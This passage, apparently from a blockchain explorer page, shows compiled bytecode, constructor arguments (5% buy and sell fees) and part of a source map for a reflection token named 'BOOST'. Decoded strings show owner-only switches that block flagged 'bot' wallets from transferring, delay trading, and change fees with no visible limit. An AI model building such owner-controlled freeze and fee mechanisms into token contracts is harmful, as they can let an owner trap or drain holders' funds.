fffffffffffffffffffffffffffff166109c66117b5565b73ffffffffffffffffffffffffffffffffffffffff161480610a2157506109eb610e70565b73ffffffffffffffffffffffffffffffffffffffff16610a096117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b80610a805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a686117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b610a8957600080fd5b6000479050610a97816123ac565b50565b6000610ae4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612418565b9050919050565b610af36117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7790613534565b60405180910390fd5b610258815110610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc906135c6565b60405180910390fd5b60005b8151811015610c5c576000828281518110610be657610be56135e6565b5b602002602001015190506000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610c5490613644565b915050610bc8565b5050565b610c686117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90613534565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dbb6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90613534565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea16117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590613534565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f424f4f5354000000000000000000000000000000000000000000000000000000815250905090565b610f966117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90613534565b60405180910390fd5b8060188190555050565b6110356117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990613534565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b60006110f86110f16117b5565b8484611986565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111436117b5565b73ffffffffffffffffffffffffffffffffffffffff16148061119e5750611168610e70565b73ffffffffffffffffffffffffffffffffffffffff166111866117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b806111fd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111e56117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b61120657600080fd5b600061121130610a9a565b905061121c81612486565b50565b6112276117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab90613534565b60405180910390fd5b60005b838390508110156113535781600560008686858181106112da576112d96135e6565b5b90506020020160208101906112ef9190612e8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061134b90613644565b9150506112b7565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e86117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c90613534565b60405180910390fd5b6102588151106114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b1906135c6565b60405180910390fd5b60005b81518110156115515760008282815181106114db576114da6135e6565b5b602002602001015190506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061154990613644565b9150506114bd565b5050565b61155d6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190613534565b60405180910390fd5b8060178190555050565b6115fc6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090613534565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef906136fe565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613790565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361189b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189290613822565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197991906130a0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ec906138b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b90613946565b60405180910390fd5b60008111611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906139d8565b60405180910390fd5b611aaf610e70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1d5750611aed610e70565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204757601560149054906101000a900460ff16611bac57611b3e610e70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba290613a6a565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c585750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5057601654811115611ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9990613ad6565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d4f5760175481611d0484610a9a565b611d0e9190613af6565b10611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590613b9c565b60405180910390fd5b5b5b601560149054906101000a900460ff1615611ec057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611e0b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611e485750611e19610e70565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611e80575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690613c54565b60405180910390fd5b5b6000611ecb30610a9a565b9050600060185482101590506016548210611ee65760165491505b808015611efe575060158054906101000a900460ff16155b8015611f585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f705750601560169054906101000a900460ff165b8015611fc65750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561201c5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120445761202a82612486565b6000479050600081111561204257612041476123ac565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120ee5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a05750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121af5760009050612336565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561225a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227257600954600d81905550600a54600e819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561231d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233557600b54600d81905550600c54600e819055505b5b612342848484846126fd565b50505050565b6000838311158290612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123879190612f7f565b60405180910390fd5b506000838561239f9190613c74565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612414573d6000803e3d6000fd5b5050565b600060075482111561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690613d1a565b60405180910390fd5b600061246961272a565b905061247e818461275590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124bd576124bc6131cd565b5b6040519080825280602002602001820160405280156124eb5781602001602082028036833780820191505090505b5090503081600081518110612503576125026135e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ce9190613d4f565b816001815181106125e2576125e16135e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ad959493929190613e75565b600060405180830381600087803b1580156126c757600080fd5b505af11580156126db573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061270b5761270a61279f565b5b6127168484846127dc565b80612724576127236129a7565b5b50505050565b60008060006127376129bb565b9150915061274e818361275590919063ffffffff16565b9250505090565b600061279783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a17565b905092915050565b6000600d541480156127b357506000600e54145b6127da57600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127ee87612a7a565b95509550955095509550955061284c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292d81612b8a565b6129378483612c47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299491906130a0565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066470de4df82000090506129ed66470de4df82000060075461275590919063ffffffff16565b821015612a0a5760075466470de4df820000935093505050612a13565b81819350935050505b9091565b60008083118290612a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a559190612f7f565b60405180910390fd5b5060008385612a6d9190613efe565b9050809150509392505050565b6000806000806000806000806000612a978a600d54600e54612c81565b9250925092506000612aa761272a565b90506000806000612aba8e878787612d17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612348565b905092915050565b6000808284612b3b9190613af6565b905083811015612b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7790613f7b565b60405180910390fd5b8091505092915050565b6000612b9461272a565b90506000612bab8284612da090919063ffffffff16565b9050612bff81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5c82600754612ae290919063ffffffff16565b600781905550612c7781600854612b2c90919063ffffffff16565b6008819055505050565b600080600080612cad6064612c9f888a612da090919063ffffffff16565b61275590919063ffffffff16565b90506000612cd76064612cc9888b612da090919063ffffffff16565b61275590919063ffffffff16565b90506000612d0082612cf2858c612ae290919063ffffffff16565b612ae290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d308589612da090919063ffffffff16565b90506000612d478689612da090919063ffffffff16565b90506000612d5e8789612da090919063ffffffff16565b90506000612d8782612d798587612ae290919063ffffffff16565b612ae290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612db25760009050612e14565b60008284612dc09190613f9b565b9050828482612dcf9190613efe565b14612e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e069061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e5982612e2e565b9050919050565b612e6981612e4e565b8114612e7457600080fd5b50565b600081359050612e8681612e60565b92915050565b600060208284031215612ea257612ea1612e24565b5b6000612eb084828501612e77565b91505092915050565b60008115159050919050565b612ece81612eb9565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f29578082015181840152602081019050612f0e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612f5182612eef565b612f5b8185612efa565b9350612f6b818560208601612f0b565b612f7481612f35565b840191505092915050565b60006020820190508181036000830152612f998184612f46565b905092915050565b6000819050919050565b612fb481612fa1565b8114612fbf57600080fd5b50565b600081359050612fd181612fab565b92915050565b60008060408385031215612fee57612fed612e24565b5b6000612ffc85828601612e77565b925050602061300d85828601612fc2565b9150509250929050565b6000819050919050565b600061303c61303761303284612e2e565b613017565b612e2e565b9050919050565b600061304e82613021565b9050919050565b600061306082613043565b9050919050565b61307081613055565b82525050565b600060208201905061308b6000830184613067565b92915050565b61309a81612fa1565b82525050565b60006020820190506130b56000830184613091565b92915050565b6000806000606084860312156130d4576130d3612e24565b5b60006130e286828701612e77565b93505060206130f386828701612e77565b925050604061310486828701612fc2565b9150509250925092565b600060ff82169050919050565b6131248161310e565b82525050565b600060208201905061313f600083018461311b565b92915050565b61314e81612e4e565b82525050565b60006020820190506131696000830184613145565b92915050565b61317881612eb9565b811461318357600080fd5b50565b6000813590506131958161316f565b92915050565b6000602082840312156131b1576131b0612e24565b5b60006131bf84828501613186565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61320582612f35565b810181811067ffffffffffffffff82111715613224576132236131cd565b5b80604052505050565b6000613237612e1a565b905061324382826131fc565b919050565b600067ffffffffffffffff821115613263576132626131cd565b5b602082029050602081019050919050565b600080fd5b600061328c61328784613248565b61322d565b905080838252602082019050602084028301858111156132af576132ae613274565b5b835b818110156132d857806132c48882612e77565b8452602084019350506020810190506132b1565b5050509392505050565b600082601f8301126132f7576132f66131c8565b5b8135613307848260208601613279565b91505092915050565b60006020828403121561332657613325612e24565b5b600082013567ffffffffffffffff81111561334457613343612e29565b5b613350848285016132e2565b91505092915050565b60006020828403121561336f5761336e612e24565b5b600061337d84828501612fc2565b91505092915050565b600080600080608085870312156133a05761339f612e24565b5b60006133ae87828801612fc2565b94505060206133bf87828801612fc2565b93505060406133d087828801612fc2565b92505060606133e187828801612fc2565b91505092959194509250565b600080fd5b60008083601f840112613408576134076131c8565b5b8235905067ffffffffffffffff811115613425576134246133ed565b5b60208301915083602082028301111561344157613440613274565b5b9250929050565b60008060006040848603121561346157613460612e24565b5b600084013567ffffffffffffffff81111561347f5761347e612e29565b5b61348b868287016133f2565b9350935050602061349e86828701613186565b9150509250925092565b600080604083850312156134bf576134be612e24565b5b60006134cd85828601612e77565b92505060206134de85828601612e77565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061351e602083612efa565b9150613529826134e8565b602082019050919050565b6000602082019050818103600083015261354d81613511565b9050919050565b7f43616e206f6e6c79206d61726b203630302077616c6c6574732070657220747860008201527f6e2064756520746f20676173206c696d69747300000000000000000000000000602082015250565b60006135b0603383612efa565b91506135bb82613554565b604082019050919050565b600060208201905081810360008301526135df816135a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061364f82612fa1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361368157613680613615565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136e8602683612efa565b91506136f38261368c565b604082019050919050565b60006020820190508181036000830152613717816136db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061377a602483612efa565b91506137858261371e565b604082019050919050565b600060208201905081810360008301526137a98161376d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061380c602283612efa565b9150613817826137b0565b604082019050919050565b6000602082019050818103600083015261383b816137ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061389e602583612efa565b91506138a982613842565b604082019050919050565b600060208201905081810360008301526138cd81613891565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613930602383612efa565b915061393b826138d4565b604082019050919050565b6000602082019050818103600083015261395f81613923565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139c2602983612efa565b91506139cd82613966565b604082019050919050565b600060208201905081810360008301526139f1816139b5565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a54603f83612efa565b9150613a5f826139f8565b604082019050919050565b60006020820190508181036000830152613a8381613a47565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ac0601c83612efa565b9150613acb82613a8a565b602082019050919050565b60006020820190508181036000830152613aef81613ab3565b9050919050565b6000613b0182612fa1565b9150613b0c83612fa1565b9250828201905080821115613b2457613b23613615565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b86602383612efa565b9150613b9182613b2a565b604082019050919050565b60006020820190508181036000830152613bb581613b79565b9050919050565b7f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60008201527f72206f75742065786365707420746f206f776e65722c206d61726b6574696e6760208201527f2c206f72206465616420616464726573732e0000000000000000000000000000604082015250565b6000613c3e605283612efa565b9150613c4982613bbc565b606082019050919050565b60006020820190508181036000830152613c6d81613c31565b9050919050565b6000613c7f82612fa1565b9150613c8a83612fa1565b9250828203905081811115613ca257613ca1613615565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d04602a83612efa565b9150613d0f82613ca8565b604082019050919050565b60006020820190508181036000830152613d3381613cf7565b9050919050565b600081519050613d4981612e60565b92915050565b600060208284031215613d6557613d64612e24565b5b6000613d7384828501613d3a565b91505092915050565b6000819050919050565b6000613da1613d9c613d9784613d7c565b613017565b612fa1565b9050919050565b613db181613d86565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dec81612e4e565b82525050565b6000613dfe8383613de3565b60208301905092915050565b6000602082019050919050565b6000613e2282613db7565b613e2c8185613dc2565b9350613e3783613dd3565b8060005b83811015613e68578151613e4f8882613df2565b9750613e5a83613e0a565b925050600181019050613e3b565b5085935050505092915050565b600060a082019050613e8a6000830188613091565b613e976020830187613da8565b8181036040830152613ea98186613e17565b9050613eb86060830185613145565b613ec56080830184613091565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f0982612fa1565b9150613f1483612fa1565b925082613f2457613f23613ecf565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f65601b83612efa565b9150613f7082613f2f565b602082019050919050565b60006020820190508181036000830152613f9481613f58565b9050919050565b6000613fa682612fa1565b9150613fb183612fa1565b9250828202613fbf81612fa1565b91508282048414831517613fd657613fd5613615565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efa565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122026f3fe21dd3a3442560a23f81e42d38295ae3e1989644f2dffc32998757e4ca964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000005

-----Decoded View---------------
Arg [0] : startFeeBuy (uint256): 5
Arg [1] : startFeeSell (uint256): 5

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000005


Deployed Bytecode Sourcemap

4094:14492:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4554:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6730:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7655:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5443:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7007:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7856:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5755:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6916:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5491:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17968:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13019:262;;;;;;;;;;;;;:::i;:::-;;7110:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13663:365;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1581:148;;;;;;;;;;;;;:::i;:::-;;18108:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5641:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5185:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1367:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12639:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5697:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6821:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17777:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17434:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7256:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12748:263;;;;;;;;;;;;;:::i;:::-;;18347:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7463:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13291:364;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18224:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1737:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4554:44;;;;;;;;;;;;;;;;;;;;;;:::o;6730:83::-;6767:13;6800:5;;;;;;;;;;;;;;;;;6793:12;;6730:83;:::o;7655:193::-;7757:4;7779:39;7788:12;:10;:12::i;:::-;7802:7;7811:6;7779:8;:39::i;:::-;7836:4;7829:11;;7655:193;;;;:::o;5443:41::-;;;;;;;;;;;;;:::o;7007:95::-;7060:7;4689:16;7080:14;;7007:95;:::o;7856:446::-;7988:4;8005:36;8015:6;8023:9;8034:6;8005:9;:36::i;:::-;8052:220;8075:6;8096:12;:10;:12::i;:::-;8123:138;8179:6;8123:138;;;;;;;;;;;;;;;;;:11;:19;8135:6;8123:19;;;;;;;;;;;;;;;:33;8143:12;:10;:12::i;:::-;8123:33;;;;;;;